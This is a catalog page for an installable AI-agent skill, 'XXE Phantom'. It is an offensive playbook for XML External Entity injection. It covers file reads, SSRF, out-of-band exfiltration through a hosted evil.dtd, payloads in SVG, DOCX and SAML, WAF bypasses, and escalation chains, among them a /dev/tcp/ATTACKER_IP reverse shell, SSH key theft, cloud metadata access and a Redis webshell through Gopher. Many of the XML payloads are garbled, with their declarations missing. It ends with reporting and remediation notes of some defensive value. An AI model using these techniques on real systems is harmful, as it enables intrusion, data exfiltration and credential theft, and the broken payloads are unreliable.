Install
$ agentstack add skill-rifteo-skills-xxe-phantom ✓ scanned · ✓ verified — works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ● Environment & secrets Used
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
About
XXE Phantom — XML External Entity Injection
XXE occurs when an XML parser evaluates external entity declarations (``) supplied by the attacker. Impact ranges from local file disclosure to full SSRF and, in some stacks, Remote Code Execution.
Phase 1 — Find the Attack Surface
1.1 Explicit XML Endpoints
Look for XML in request bodies or content-type headers:
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: application/rss+xml
Content-Type: application/atom+xml
Content-Type: application/xhtml+xml
# Burp search — find requests with XML content-type
# Proxy → HTTP history → Filter → Content-Type contains "xml"
# Or grep through Burp export:
grep -rl "application/xml\|text/xml\|soap" burp_export.xml
1.2 Hidden XML — Content-Type Switching
Many JSON APIs also accept XML. Try changing Content-Type on any POST/PUT endpoint:
# Original (JSON)
POST /api/users
Content-Type: application/json
{"username":"test"}
# Switch to XML
POST /api/users
Content-Type: application/xml
test
If the response is the same (200, user created) — the endpoint parses XML too.
1.3 File Upload Vectors
These formats are ZIP-compressed XML and are parsed server-side:
| Format | Dangerous file inside ZIP | |---|---| | .docx / .xlsx / .pptx | word/document.xml, xl/workbook.xml | | .odt / .ods | content.xml | | .svg | The SVG file itself is XML | | .xsl / .xslt | Stylesheet processed by XML transformer | | .xml (config/import) | Any config upload feature | | PDF (via FOP) | XSL-FO documents rendered to PDF |
1.4 SAML / SSO
SAML assertions are base64-encoded XML — always test:
- SSO login flows (SAMLResponse parameter)
- SP-initiated SSO (AuthnRequest)
- Single logout (LogoutRequest / LogoutResponse)
1.5 Other Surfaces
SOAP web services → WSDL + SOAP body
WebDAV (PROPFIND) → XML request body
RSS/Atom feed readers → XML feed content
Excel/Calc imports → XML-based spreadsheet
Custom XML API → Any proprietary format
XMP metadata in images → Embedded XML processed server-side
1.6 Confirm XML Parsing
Before injecting entities, confirm the parser echoes content back. Inject a unique canary inside an element and verify it appears in the response:
CANARY_1337
If CANARY_1337 appears in the response → the parser reads and reflects XML content → proceed with entity injection.
Phase 2 — Classic XXE (Visible Output)
Use when the application reflects XML content in the HTTP response.
2.1 File Read
]>
&xxe;
Windows targets:
Check if output appears in the response body, headers, or error messages.
2.2 SSRF — Internal HTTP Request
]>
&xxe;
Try internal network targets:
2.3 Port Scanning (Time-Based)
Open port → fast response. Closed port → connection refused or timeout.
2.4 Multi-File Read via Multiple Entities
]>
&f1;
&f2;
&f3;
2.5 Error-Based File Read
When content is NOT reflected but errors ARE:
">
%eval;
%error;
]>
The parser tries to open a file path containing the contents of /etc/passwd → path error includes the file content.
Phase 3 — Blind XXE (No Visible Output)
When the response never reflects entity content. Use Out-of-Band (OOB) exfiltration.
3.1 OOB via DNS — Simplest Confirmation
]>
&xxe;
If you get a DNS lookup or HTTP request at your OOB server → XXE confirmed, parser fetches external resources.
OOB tools:
- Burp Collaborator (Burp → Collaborator → Copy to clipboard)
- interactsh:
interactsh-client→ generates unique URL - pingb.in, canarytokens.org (passive)
3.2 OOB File Exfiltration via External DTD
Step 1 — Host a malicious DTD on your server (evil.dtd):
">
%wrap;
%send;
Step 2 — Inject a parameter entity that fetches your DTD:
%remote;
]>
Step 3 — Your server receives: GET /?data=root:x:0:0:root:/root:/bin/bash...
Host the DTD:
# Python HTTP server
python3 -m http.server 80
# Or with ngrok for public URL
ngrok http 80
3.3 OOB via FTP (bypass HTTP-only egress filters)
Some servers allow FTP but block HTTP. Host a simple FTP server:
">
%wrap;
%send;
# Simple FTP server for capture (Python)
python3 scripts/xxe_probe.py --ftp-server --port 2121
3.4 Multi-Line File Read (Handle Newlines)
The basic approach breaks on newlines. Use PHP or Java wrappers to base64-encode first:
">
%wrap;
%send;
Then decode:
echo "cm9vdDp4OjA..." | base64 -d
Java alternative (when PHP is not available):
3.5 Error-Based Blind XXE (No HTTP Egress)
When the server has no outbound internet access but does produce error messages:
">
%eval;
%exfil;
]>
Parser error: file not found: /nonexistent/root:x:0:0:root:/root:/bin/bash... — the file content appears inside the error message.
Phase 4 — XXE via File Uploads
4.1 SVG Upload
SVG is XML. If the server renders SVG (thumbnail, preview, display), it may parse entities:
]>
&xxe;
Upload as .svg, then view the rendered image or the server response.
Blind SVG (OOB):
%remote;
]>
4.2 DOCX / XLSX / PPTX (Office Open XML)
These are ZIP archives. Inject into the embedded XML:
# 1. Create a legitimate docx/xlsx
# 2. Unzip it
unzip legitimate.docx -d docx_extracted/
# 3. Edit word/document.xml (for .docx) or xl/workbook.xml (for .xlsx)
# Add at the top, after the XML declaration:
nano docx_extracted/word/document.xml
Add the XXE payload at the beginning of the XML file:
%remote;
]>
# 4. Repack
cd docx_extracted && zip -r ../malicious.docx . && cd ..
# 5. Upload malicious.docx via the target's document import/upload feature
4.3 ODT / ODS (LibreOffice / OpenDocument)
unzip legitimate.odt -d odt_extracted/
# Edit content.xml — inject DOCTYPE before root element
nano odt_extracted/content.xml
# Repack
cd odt_extracted && zip -r ../malicious.odt . && cd ..
4.4 XSL / XSLT Injection
XSLT stylesheets support document() and xsl:include which fetch external resources:
Phase 5 — XXE via XInclude
XInclude works without controlling the DOCTYPE — perfect for when the app wraps your input inside its own XML document.
When to use XInclude: the application constructs XML on the server-side and embeds user input inside it. You cannot inject a DOCTYPE because the parser receives a full document, but XInclude directives in element content are still processed.
Phase 6 — SAML XXE
SAML assertions are base64-encoded XML sent in SAMLResponse parameters.
6.1 Intercept a SAML Flow
# Burp Suite → Proxy → intercept SAMLResponse parameter
# Decode the base64 value:
echo "PHNhbWxwOlJlc3BvbnNlIHhtbG5z..." | base64 -d | xmllint --format -
6.2 Inject XXE into the SAML Assertion
After decoding, find the `` root element and prepend a DOCTYPE:
%remote;
]>
6.3 Re-encode and Send
# Re-encode and URL-encode for POST
python3 -c "
import base64, urllib.parse, sys
with open('modified_saml.xml','rb') as f:
data = f.read()
encoded = base64.b64encode(data).decode()
print(urllib.parse.quote(encoded))
" > encoded_payload.txt
# Paste into SAMLResponse= parameter in Burp Repeater
Note: SAML signatures protect the assertion content. However:
- If the SP doesn't validate the signature → inject directly
- If only the `
element is signed → inject in the` wrapper outside it - If the XML parser processes entities before signature validation → works regardless
Phase 7 — Protocol Handlers
Different protocols work depending on the XML parser and server platform:
| Protocol | Usage | Platform | |---|---|---| | file:// | Local file read | All | | http:// / https:// | SSRF | All (if network egress allowed) | | ftp:// | OOB exfiltration, bypasses HTTP filters | All | | php://filter/... | Base64-encoded file read (no newlines) | PHP | | php://input | Read request body | PHP | | expect://id | RCE (requires expect:// wrapper enabled) | PHP (rare) | | netdoc:// | File read — handles newlines | Java | | jar:// | Multi-step: fetch JAR, read file inside | Java | | gopher:// | SSRF to TCP services (Gopher protocol) | Java/Python |
PHP expect:// RCE (when enabled)
]>
&xxe;
Only works if PHP was compiled with --enable-exif or expect extension is loaded (uncommon).
Gopher:// — SSRF to Internal TCP Services
Build Gopher payloads for internal services using tools like Gopherus.
Phase 8 — WAF and Filter Bypass Techniques
8.1 Encoding the XML Declaration
]>
&xxe;
8.2 Chunked Transfer Encoding
Split the payload across chunks so WAF pattern matching fails:
POST /api/data HTTP/1.1
Content-Type: application/xml
Transfer-Encoding: chunked
1a
1c
]>
e
&xxe;
0
8.3 Alternate DOCTYPE Syntax
]>
]>
8.4 CDATA Wrapper (bypass content-type filters)
]>
]]>&xxe;]]>
8.5 Nested Parameter Entities
Obfuscate the payload through multiple levels of entity expansion:
">
%a;
%b;
]>
8.6 Double URL Encoding in Entity Value
Phase 9 — Escalation Chains
9.1 XXE → SSRF → Cloud Metadata (AWS / GCP / Azure)
9.2 XXE → LFI → SSH Private Key
Once you have the private key → SSH into the server.
9.3 XXE → LFI → Source Code → Credentials
9.4 XXE → SSRF → Internal Admin Panels
9.5 XXE → RCE (PHP expect://)
& /dev/tcp/ATTACKER_IP/4444 0>&1'">
]>
&xxe;
9.6 XXE → Gopher → Redis → RCE (Server-Side)
# Generate Gopher payload for Redis (using Gopherus)
python2 gopherus.py --exploit redis
# → generates gopher:// URL for writing cron job or PHP webshell
Phase 10 — Automated Testing
Burp Suite Workflow
- Intercept XML requests: Proxy → HTTP history → filter Content-Type contains "xml"
- Send to Repeater — manually inject the basic entity payload (Phase 2.1)
- Use Burp Collaborator for blind OOB detection (Phase 3.1)
- Active Scan — Burp Pro's scanner detects XXE automatically if pointed at XML endpoints
- BApp: Content Type Converter — automatically retries requests with XML content-type
- BApp: Upload Scanner — tests XXE in file upload fields (SVG, DOCX, etc.)
XXEinjector (automation)
gem install xxeinjector # or clone from GitHub
# Basic file read (visible output)
ruby XXEinjector.rb --host=YOUR-SERVER --path=/etc/passwd --file=request.txt --oob=http
# Blind OOB mode
ruby XXEinjector.rb --host=YOUR-SERVER --path=/etc/passwd --file=request.txt --oob=http --phpfilter
# Enumerate files in directory
ruby XXEinjector.rb --host=YOUR-SERVER --path=/var/www/ --file=request.txt --oob=http --enumerate
# request.txt format: the raw HTTP request with XXEINJECT marker where payload goes
Script: scripts/xxe_probe.py
# Test single endpoint with visible output
python3 scripts/xxe_probe.py -u https://target.com/api/xml -f /etc/passwd
# Test with OOB server
python3 scripts/xxe_probe.py -u https://target.com/api/xml --oob http://YOUR-SERVER/ --file /etc/passwd
# Test file upload for XXE (SVG)
python3 scripts/xxe_probe.py -u https://target.com/upload --upload --format svg --oob http://YOUR-SERVER/
# Run FTP exfil server locally
python3 scripts/xxe_probe.py --ftp-server --port 2121
Phase 11 — Confirm the Finding
- [ ] DOCTYPE injection accepted (no parser error, no 400 response)
- [ ] Entity value reflected in response (classic) OR OOB callback received (blind)
- [ ] File contents confirmed — at minimum first line of
/etc/passwdshowingroot:x:0:0: - [ ] Reproducible from a clean session without prior state
- [ ] SSRF confirmed if applicable — internal resource response or OOB DNS for internal host
False positive checks:
- Server returns 400 "DOCTYPE not allowed" → parser hardened, not vulnerable
- Entity syntax in response literally (
&xxe;orSYSTEM "...") → parser escaped rather than evaluated CANARY_1337reflects but&xxe;doesn't → reflection exists but entity expansion disabled (partial protection)- OOB callback comes from YOUR machine, not the target → local test environment issue
Phase 12 — Report Structure
Title: XXE Injection on [endpoint] — [Impact: Local File Read / SSRF / Blind OOB]
Severity:
Critical: RCE via expect://, SSRF to cloud metadata with credential theft, SSH key read
High: Local file read (passwd, source code, .env), SSRF to internal services
Medium: SSRF to non-sensitive internal URLs, blind XXE confirmed but limited impact
Low: XXE confirmed but no external HTTP/file access allowed
CWE: CWE-611 — Improper Restriction of XML External Entity Reference
OWASP: A05:2021 – Security Misconfiguration
CVSS 3.1 Base (file read):
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N → 6.5 (Medium)
CVSS 3.1 Base (SSRF → internal admin, no auth):
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H → 10.0 (Critical)
Affected endpoint: POST https://target.com/api/xml
Content-Type: application/xml
Steps to reproduce:
1. Send the following request:
POST /api/xml HTTP/1.1
Host: target.com
Content-Type: application/xml
]>
&xxe;
2. Observe: response body contains contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
For Blind XXE:
1. Host evil.dtd at http://YOUR-SERVER/evil.dtd with content:
[paste DTD]
2. Send request with: %remote;
3. Observe OOB server receiving: GET /?data=root:x:0:0:root:...
Impact:
- [File read] Attacker can read arbitrary files accessible to the web server process
- [SSRF] Attacker can probe and interact with internal services not exposed to the internet
- [Credential theft] Application secrets, database passwords, and API keys exposed
- [Escalation] SSH private key read → server compromise / lateral movement
Evidence:
- HTTP request/response screenshot showing entity content in response
- OOB server log showing file content received (for blind)
- Screenshot of /etc/passwd contents in response
Remediation:
- Disable external entity processing in the XML parser (language-specific):
Java (SAXParser):
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Python (lxml):
parser = etree.XMLParser(resolve_entities=False, no_network=True)
PHP (libxml):
libxml_disable_entity_loader(true); # PHP < 8.0
# PHP 8.0+: entity loading disabled by default
.NET:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
Node.js (libxmljs):
libxmljs.parseXml(xml, { noent: false, dtdload: false, dtdvalid: false });
- Use a whitelist-based XML schema (XSD) to validate structure before parsing
- Reject requests with DOCTYPE declarations at the application layer
- Run the XML parser in a sandboxed environment with no network/filesystem access
- Prefer JSON over XML where XML functionality is not required
Quick-Reference: Priority Attack Order
- Inject basic
file:///etc/passwd— confirm if reflection is visible - OOB DNS check — send entity to Collaborator URL — confirm parser makes outbound requests
- **External
…
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: Rifteo
- Source: Rifteo/skills
- License: MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet — be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.